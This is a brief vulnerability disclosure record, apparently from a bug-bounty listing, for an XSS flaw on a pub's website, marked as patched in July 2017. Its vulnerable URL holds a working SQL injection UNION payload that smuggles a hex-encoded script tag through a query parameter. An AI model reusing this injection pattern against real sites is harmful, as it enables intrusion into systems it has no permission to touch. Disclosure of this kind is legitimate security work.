dublinsquarepub.com XSS vulnerability

Vulnerable URL: http://www.dublinsquarepub.com/news.php?id=-1%20UNION%20SELECT%201,0x3c7363726970743e616c65727428224f50454e425547424f554e545922293b3c2f7363726970743e,3,4,5,6%20from%20guestbook-- Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017...